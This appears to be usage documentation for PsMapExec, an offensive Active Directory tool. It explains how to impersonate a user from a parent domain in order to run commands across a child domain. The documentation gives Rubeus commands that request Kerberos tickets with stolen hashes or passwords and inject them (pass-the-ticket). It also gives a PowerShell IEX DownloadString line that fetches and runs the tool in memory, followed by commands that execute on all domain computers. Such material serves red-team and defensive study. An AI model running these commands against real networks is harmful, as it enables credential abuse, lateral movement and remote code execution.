Cross Domain Usage

PsMapExec has the ability to impersonate users on one domain to access resources on a different domain.

When accessing resources across domain and impersonating a user we need two parameters:

• UserDomain: The domain of the user we are impersonating

• Domain: The target domain where we intended to access resources

PsMapExec -Targets All -Domain child.security.local -UserDomain security.local -username Moe -Password Password -method [Method] -Command [Command]

In the command example shown above we are getting all computers in the domain child.security.local and impersonating the user Moe whose account resides in the security.local domain.

As security.local is a parent to the child domain child.security.local there is a trust between them and the user moe can access resources in the child domain.

CurrentUser

Alternatively Rubeus or Runas.exe can be used to create a new logon session for a user in an alternative domain and the -CurrentUser switch can be applied to work in the current logon session context.

Simply put, Runas.exe is the most straightforward way of acheiving this if you have a password for the user you wish to impersonate. Otherwise, Rubeus will need to be used if you need to use a Hash or a Kerberos ticket.

Create Logon session

# Runas.exe
Runas.exe /user:[Domain]\[User] Powershell.exe

# Rubeus
Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show

# AskTGT and inject in new session
Rubeus.exe asktgt /user:[User] /domain:[Domain] /hash:[Hash] or /password:[Password] /ptt

# Invoke-Rubeus
Invoke-Rubeus -Command "createnetonly /program:c:\windows\system32\cmd.exe /show"

# AskTGT and inject in new session
Invoke-Rubeus -Command "asktgt /user:[User] /domain:[Domain] /hash:[Hash] or /password:[Password] /ptt"

Then load PsMapExec into the new logon session and run with -CurrentUser.

# Load into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")# Execute
PsMapExec -CurrentUser -Targets All -Domain [Domain] -Method [Method] -Command [Command]